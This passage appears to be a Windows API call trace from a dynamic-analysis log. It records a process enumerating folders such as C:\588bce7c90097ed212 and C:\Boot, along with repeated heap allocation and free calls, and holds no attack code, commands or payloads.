(in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.650] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3b70e18 [0146.650] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0x6c1420 [0146.651] FindNextFileW (in: hFindFile=0x6c1420, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.651] FindNextFileW (in: hFindFile=0x6c1420, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.651] FindNextFileW (in: hFindFile=0x6c1420, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.651] FindNextFileW (in: hFindFile=0x6c1420, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.651] FindNextFileW (in: hFindFile=0x6c1420, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0 [0146.651] FindClose (in: hFindFile=0x6c1420 | out: hFindFile=0x6c1420) returned 1 [0146.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.652] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3b70e18 [0146.652] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0x6c1560 [0146.652] FindNextFileW (in: hFindFile=0x6c1560, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.653] FindNextFileW (in: hFindFile=0x6c1560, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.653] FindNextFileW (in: hFindFile=0x6c1560, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.653] FindNextFileW (in: hFindFile=0x6c1560, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.653] FindNextFileW (in: hFindFile=0x6c1560, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0 [0146.653] FindClose (in: hFindFile=0x6c1560 | out: hFindFile=0x6c1560) returned 1 [0146.653] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.653] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.654] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3b70e18 [0146.654] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0x6c1b60 [0146.654] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.654] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.654] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.654] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.655] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0 [0146.655] FindClose (in: hFindFile=0x6c1b60 | out: hFindFile=0x6c1b60) returned 1 [0146.655] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.655] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.655] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3b70e18 [0146.655] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0x6c14a0 [0146.656] FindNextFileW (in: hFindFile=0x6c14a0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.656] FindNextFileW (in: hFindFile=0x6c14a0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.656] FindNextFileW (in: hFindFile=0x6c14a0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.656] FindNextFileW (in: hFindFile=0x6c14a0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.656] FindNextFileW (in: hFindFile=0x6c14a0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0 [0146.656] FindClose (in: hFindFile=0x6c14a0 | out: hFindFile=0x6c14a0) returned 1 [0146.657] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.657] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.657] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3b70e18 [0146.657] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0x6c1620 [0146.703] FindNextFileW (in: hFindFile=0x6c1620, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.703] FindNextFileW (in: hFindFile=0x6c1620, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.703] FindNextFileW (in: hFindFile=0x6c1620, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.704] FindNextFileW (in: hFindFile=0x6c1620, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.704] FindNextFileW (in: hFindFile=0x6c1620, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0 [0146.704] FindClose (in: hFindFile=0x6c1620 | out: hFindFile=0x6c1620) returned 1 [0146.704] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.704] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.704] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3b70e18 [0146.704] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0x6c1b60 [0146.705] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.705] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.705] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.705] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.705] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0 [0146.705] FindClose (in: hFindFile=0x6c1b60 | out: hFindFile=0x6c1b60) returned 1 [0146.706] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.706] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.706] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3b70e18 [0146.706] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0x6c1b60 [0146.707] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.707] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.707] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.707] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.707] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0 [0146.707] FindClose (in: hFindFile=0x6c1b60 | out: hFindFile=0x6c1b60) returned 1 [0146.708] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.708] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.708] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3b70e18 [0146.708] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0x6c19a0 [0146.709] FindNextFileW (in: hFindFile=0x6c19a0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.709] FindNextFileW (in: hFindFile=0x6c19a0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.709] FindNextFileW (in: hFindFile=0x6c19a0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.709] FindNextFileW (in: hFindFile=0x6c19a0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0 [0146.709] FindClose (in: hFindFile=0x6c19a0 | out: hFindFile=0x6c19a0) returned 1 [0146.710] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.710] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.710] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.710] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.710] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3b70e18 [0146.710] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0x6c1660 [0146.711] FindNextFileW (in: hFindFile=0x6c1660, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.711] FindNextFileW (in: hFindFile=0x6c1660, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.711] FindNextFileW (in: hFindFile=0x6c1660, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.711] FindNextFileW (in: hFindFile=0x6c1660, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0 [0146.711] FindClose (in: hFindFile=0x6c1660 | out: hFindFile=0x6c1660) returned 1 [0146.712] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.712] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.712] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3b70e18 [0146.712] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0x6c1760 [0146.712] FindNextFileW (in: hFindFile=0x6c1760, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.713] FindNextFileW (in: hFindFile=0x6c1760, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.713] FindNextFileW (in: hFindFile=0x6c1760, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.713] FindNextFileW (in: hFindFile=0x6c1760, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.713] FindNextFileW (in: hFindFile=0x6c1760, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.713] FindNextFileW (in: hFindFile=0x6c1760, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.713] FindNextFileW (in: hFindFile=0x6c1760, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.713] FindNextFileW (in: hFindFile=0x6c1760, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.713] FindNextFileW (in: hFindFile=0x6c1760, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.713] FindNextFileW (in: hFindFile=0x6c1760, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.713] FindNextFileW (in: hFindFile=0x6c1760, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.714] FindNextFileW (in: hFindFile=0x6c1760, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.714] FindNextFileW (in: hFindFile=0x6c1760, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.714] FindNextFileW (in: hFindFile=0x6c1760, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.714] FindNextFileW (in: hFindFile=0x6c1760, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.714] FindNextFileW (in: hFindFile=0x6c1760, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.714] FindNextFileW (in: hFindFile=0x6c1760, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0 [0146.714] FindClose (in: hFindFile=0x6c1760 | out: hFindFile=0x6c1760) returned 1 [0146.715] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.715] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.715] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.715] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.715] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.715] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.715] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.715] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.715] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.716] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.716] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.716] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.716] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.716] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.716] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.716] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.716] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.716] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.716] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.717] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.717] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.717] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.717] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.717] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.717] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.717] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 0 [0146.717] FindClose (in: hFindFile=0x6c1a60 | out: hFindFile=0x6c1a60) returned 1 [0146.717] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0146.718] FindNextFileW (in: hFindFile=0x6c1a20, lpFindFileData=0x329fcf8 | out: lpFindFileData=0x329fcf8) returned 1 [0146.718] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3b60e10 [0146.718] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 0x6c1720 [0146.719] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.719] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.719] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.719] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.719] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.719] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.720] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3b70e18 [0146.720] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0x6c1a60 [0146.720] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.720] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.720] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0 [0146.720] FindClose (in: hFindFile=0x6c1a60 | out: hFindFile=0x6c1a60) returned 1 [0146.720] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.720] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.720] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.720] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.720] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3b70e18 [0146.721] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.721] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.721] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.721] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.722] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.722] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.722] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.726] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.726] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.726] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.728] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.728] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.728] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.728] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.728] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.728] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.729] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.729] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.729] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.729] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.729] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.729] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.730] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.730] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.730] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.730] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.731] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41a0948 | out: hHeap=0x660000) returned 1 [0146.731] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.731] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.731] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.732] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.732] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.732] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.732] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.732] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.732] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.733] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.733] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.733] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.733] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.733] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0146.733] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41a0948 | out: hHeap=0x660000) returned 1 [0146.734] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41a0948 | out: hHeap=0x660000) returned 1 [0146.739] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41a0948 | out: hHeap=0x660000) returned 1 [0146.831] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41a0948 | out: hHeap=0x660000) returned 1 [0146.831] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e4970 | out: hHeap=0x660000) returned 1 [0146.833] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f4978 | out: hHeap=0x660000) returned 1 [0146.835] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.835] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.835] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.836] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.836] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.836] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.836] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.837] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.838] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.838] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.838] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.838] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.838] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.838] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4204980 | out: hHeap=0x660000) returned 1 [0146.838] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0146.839] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0146.839] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0146.840] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0146.840] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0146.840] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0146.842] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0146.842] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0146.842] HeapFree (in: hHeap=0x660000, 